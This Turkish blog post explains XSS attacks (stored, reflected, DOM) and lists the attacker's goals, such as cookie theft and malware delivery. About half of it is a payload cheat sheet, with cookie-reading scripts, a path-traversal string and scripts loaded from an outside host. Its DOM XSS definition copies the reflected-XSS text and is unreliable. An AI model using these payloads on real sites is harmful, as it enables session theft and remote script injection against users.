Eyüp Çelik

Sr. Cyber Security Expert

Sr. Network Security Expert

Sr. Malware Developer

Sr. C# Developer

Eyüp Çelik

Sr. Cyber Security Expert

Sr. Network Security Expert

Sr. Malware Developer

Sr. C# Developer

Blog Post

Derilemesine XSS (DOM, Stored, Reflected) Saldırıları

Derilemesine XSS (DOM, Stored, Reflected) Saldırıları

XSS Saldırısı (Cross Site Scripting Attack) diğer adı ile Çapraz Site Betik Saldırısı, Asp, PHP, ASP.NET gibi birçok web programlama dilinde meydana gelen, bir betik kod (HTML, JavaScript v.s) saldırısıdır. Saldırganın (Attacker) hedefi, web uygulamasına çeşitli kod betikleri yazarak XSS saldırısının çalışmasını sağlamaktır. XSS; HTML, JavaScript v.b betikler kullanarak gerçekleştirilir. Tüm web programlama dilleri çalışma anında (Run Time), son kullanıcı (End User)’ya HTML ile geri dönüş yapar. Detaylandıracak olursak eğer; ASP.NET (.aspx) ile programlanmış olan bir web uygulaması, son kullanıcı tarafından çalıştırıldığında, web uygulaması HTML olarak görüntülenir. Bu özelliğinden dolayı HTML global bir görüntüleme dili haline gelmiştir. Yapılacak olan saldırı global HTML-JavaScript kullanılarak gerçekleştirilecektir.

Ayrıca bilinmesi gerekenler:

Cookie (Çerez): Bir web sitesinin, oturum kimliği (Session ID), kimlik (ID), şifre (Password) gibi bazı bilgileri son kullanıcının bilgisayarında tuttuğu genel bilgi dosyasıdır. Örnek verecek olursak eğer, bir web sitesine girip oturum açmak istediğinizde giriş (login) ekranında “Beni Hatırla!” gibi bir seçenek sunulduğunu görürsünüz. Bu seçeneği aktif olarak işaretleyip oturum açtığınızda, giriş yaptığınız bilgisayarda sürekli oturumunuz açık kalacaktır. (Tarayıcının geçmişini silmediğiniz sürece) Bu işlem, hedef web sitesinin bilgisayarınıza bir Cookie dosyası yüklemesinden kaynaklanır. Siteye her giriş yaptığınızda Cookie bilginiz okunur ve oturumunuz açılarak siteye giriş yapmış olursunuz.

Resim-01

Cookie’ler Resim-01’deki gibi bilgisayarımızda bulunur. Resim-01 Internet Explorer’ın saklamış olduğu Cookie’leri gösterir. Cookie: dosyanın bir Cookie dosyası olduğunu belirtir. eyup.celik Windows’ta oturum açan kullanıcı adıdır. Örneğin, bilgisayarı Administrator kullanıcı ile kullanıyorsanız Cookie:Administrator@ şeklinde olacaktır. @’ten sonraki kısım ise cookie’yi çalıştıran siteyi temsil eder.  Internet Explorer için cookie klasörüne, C:\Documents and Settings\eyup.celik\Local Settings\Temporary Internet Files bu yol ile ulaşabilirsiniz. eyup.celik olan klasör adını Windows oturum adınız ile değiştirmeniz gerekir.

DOM (Document Object Model – Belge Nesnesi Modeli): Internet tarayıcıları (Internet Explorer, Mozilla Firefox, Opera, Safari v.s) girmiş olduğumuz her web sayfasını bir belge olarak kabul eder. Girdiğimiz web sayfasında bulunan tüm materyaller (Image, buton, textbox v.s) ise bir nesne olarak kabul edilir. Örneğin web sitesinde bulunan bir resim, bir buton v.s birer nesnedir. DOM sayfada bulunan nesnelere müdahale etmemizi sağlar. Bunun için JavaScript gibi bazı script dillerinin kullanılması gerekir.

Zararlı olarak kullanılabilecek DOM betikleri.

  • HTML Yazma, Örnek:
    • document.write(…)
    • document.writeln(…)
    • document.body.innerHtml=…
  • Doğrudan DOM Değiştirme (Dahili DHTML olayları), Örnek:
    • document.forms[0].action=… (ve çeşitli koleksiyonları)
    • document.attachEvent(…)
    • document.create…(…)
    • document.execCommand(…)
    • document.body. … (DOM ana nesnesi üzerinden erişen)
    • window.attachEvent(…)
  • Belge URL Değişimi, Örnek:
    • document.location=… (yer, alan ve host atama)
    • document.location.hostname=…
    • document.location.replace(…)
    • document.location.assign(…)
    • document.URL=…
    • window.navigate(…)
  • Pencere Açma Değiştirme, Örnek:
    • document.open(…)
    • window.open(…)
    • window.location.href=… (yer, alan ve host atama)
  • Doğrudan Script Çalıştırma, Örnek:
    • eval(…)
    • window.execScript(…)
    • window.setInterval(…)
    • window.setTimeout(…)

HTTP Request:  Web programla dillerinde, web sitesinden kullanıcıya gönderilen ve ya kullanıcılardan web sitesine gönderilen istekler HTTP Request olarak adlandırılır. Sektörde en çok iki adet HTTP Request metodu kullanılır. Bunlar GET ve POST’tur.

GET Metodu: Bir sayfadan bir başka yere veri taşımak üzere tasarlanmıştır.  Ayrıca kullanıcı etkileşimlerinde de kullanılmaktadır. Bir örnek verecek olursak eğer, site.com/git.php?id=1&katID=2 GET metodunu kullanmaktadır.  Git.php adresinden sonra URL kısmında ?işareti ve devamında bir kriter bulunuyorsa sitede GET metodu kullanılıyor demektir. Bu mantığa göre ?id=1&katID=2 GET metodu ile veriyi bir başka alana taşımaktadır.

POST Metodu: GET metodu ile aynı amaç için kullanılır. Ancak gönderilen veri arka planda gönderilmektedir. URL kısmında herhangi bir ibare bulunmamaktadır. GET metodunda ki örneği uyarlarsak eğer, URL alanında sadece site.com/git.php görünecektir. id ve katID kısımları arka planda post edilir.

XSS saldırıları temelde 2 yöntem ile çalışır. 1’inci yöntem sayfada bulunan ve kullanıcıdan veri girişi isteyen alanlarda yapılır. Örneğin Arama kutusu, yorum alanı v.s. 2’inci yöntem ise URL alanına XSS kodları girerek gerçekleştirilir. Temel mantıkta kullanılan JavaScript kodları kullanılmaktadır. Ancak bunun dışında çeşitli embed kodlarda kullanılabilir. <script>alert(“XSS KODU”);</script> JavaScript kodu ile XSS saldırısı gerçekleştirilir.

Saldırı Mantığı:

  1. Hedefweb sitesinde bulunan XSS zafiyeti kullanılarak, siteyi ziyaret eden kullanıcıların oturum bilgileri çalınabilir. (Cookie Hijacking Saldırısı)
  2. Ziyaretçi kandırılarak bilgisayarına virüs, trojan v.b zararlı kodlar yüklenebilir. Böylece ziyaretçilerin kimlik bilgileri, şifreleri çalınabilir. Ziyaretçinin bilgisayarı bir zombie bilgisayar haline getirilebilir. (ActiveX, VBScript, Flash son zamanlarda Java kullanılarak)
  3. Siteye index atılabilir. Site defaced edilebilir. (DOM Based XSS ile)
  4. Sunucuya dosyalar (Shell, Backdoor gibi) yüklenebilir, kredi kartı, v.s gibi bilgiler elde edilebilir (DOM Based XSS ile)

En çok kullanılan XSS kodları:

‘<script>alert(‘XSS’)</script>

‘><script>alert(‘XSS’)</script>

“><script>alert(‘XSS’)</script>

“><script>alert(‘XSS’)</script>

 javascript;alert(‘XSS’)

<title>XSS</title>

“><script>alert(‘xss’);</script>+

“><script>alert(‘X’);</script>”><script>alert(‘X’);</script> == X

“>’<’script’>alert(’xss’)</’script>

‘><script>alert(document.cookie)</script>

=’><script>alert(document.cookie)</script>

<script>alert(document.cookie)</script>

<script>alert(XSS)</script>

%3Cscript%3Ealert(‘XSS’)%3C/script%3E

<s&#99;ript>alert(‘XSS’)</script>

<img src=”javas&#99;ript:alert(‘XSS’)”>

%0a%0a<script>alert(\”XSS\”)</script>.jsp

%22%3cscript%3ealert(%22xss%22)%3c/script%3e

%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini

%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html

&lt;script&gt;alert(‘XSS’);&lt;/script&gt

<script>alert(‘XSS’)</script>

a.jsp/<script>alert(‘XSS’)</script>

a?<script>alert(‘XSS’)</script>

“><script>alert(‘XSS’)</script>

%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

%3Cscript%3Ealert(document.domain);%3C/script%3E&

%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=

”;!–“<XSS>=&{()}

<IMG SRC=”javascript:alert(‘XSS’);”>

<IMG SRC=javascript:alert(‘XSS’)>

<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

<IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)>

<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>

<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>

<IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”>

“<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out

<IMG SRC=”   javascript:alert(‘XSS’);”>

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

<BODY ONLOAD=alert(‘XSS’)>

<IMG DYNSRC=”javascript:alert(‘XSS’)”>

<IMG LOWSRC=”javascript:alert(‘XSS’)”>

<BGSOUND SRC=”javascript:alert(‘XSS’);”>

<br size=”&{alert(‘XSS’)}”>

<LAYER SRC=”http://xss.ha.ckers.org/a.js”></layer>

<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

<IMG SRC=’vbscript:msgbox(“XSS”)’>

<IMG SRC=”mocha:[code]”>

<IMG SRC=”livescript:[code]”>

<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”>

<IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>

<FRAMESET><FRAME SRC=javascript:alert(‘XSS’)></FRAME></FRAMESET>

<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>

<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

<DIV STYLE=”behaviour: url(‘xss’);”>

<DIV STYLE=”width: expression(alert(‘XSS’));”>

<STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE>

<IMG STYLE=’xss:expre\ssion(alert(“XSS”))’>

<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>

<STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>

<BASE HREF=”javascript:alert(‘XSS’);//”>

getURL(“javascript:alert(‘XSS’)”)

“> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><“

<SCRIPT SRC=”http://xss.ha.ckers.org/xss.jpg”></SCRIPT>

<IMG SRC=”javascript:alert(‘XSS’)”

Stored XSS Saldırısı: Stored XSS saldırısı oldukça tehlikeli saldırı yöntemlerinden biridir. Daha çok forumlar, yorum alanları ve ziyaretçi defteri gibi alanlarda kullanılır. Bu alanlara gönderilen XSS kodları veritabanına kaydedilir. Sayfaya giren her kullanıcı için sayfayı görüntülerken XSS saldırısına maruz kalır.

Reflected XSS Saldırısı: XSS saldırı URL alanlarına ve ya veri giriş alanlarına yapılır. Yapılan bu saldırı sadece XSS saldırısı yapan kullanıcı tarafından görülür. Ziyaretçiler bu saldırıyı göremezler. Bu yüzden URL alanında çalışan Reflected XSS saldırılarında, saldırgan URL adresini e-mail gibi çeşitli iletişim kanalları ile göndererek kurban avına çıkar.

DOM XSS Saldırısı: XSS saldırı URL alanlarına ve ya veri giriş alanlarına yapılır. Yapılan bu saldırı sadece XSS saldırısı yapan kullanıcı tarafından görülür. Ziyaretçiler bu saldırıyı göremezler. Bu yüzden URL alanında çalışan Reflected XSS saldırılarında, saldırgan URL adresini e-mail gibi çeşitli iletişim kanalları ile göndererek kurban avına çıkar.

http://tr.wikipedia.org/wiki/Document_Object_Model

https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_%28OWASP-DV-003%29
https://www.owasp.org/index.php/DOM_Based_XSS

http://www.securityfocus.com/archive/1/329273

https://bugzilla.mozilla.org/show_bug.cgi?id=272620

http://cwe.mitre.org/data/definitions/79.html

http://www.cert.org/advisories/CA-2000-02.html

Related Posts
Write a comment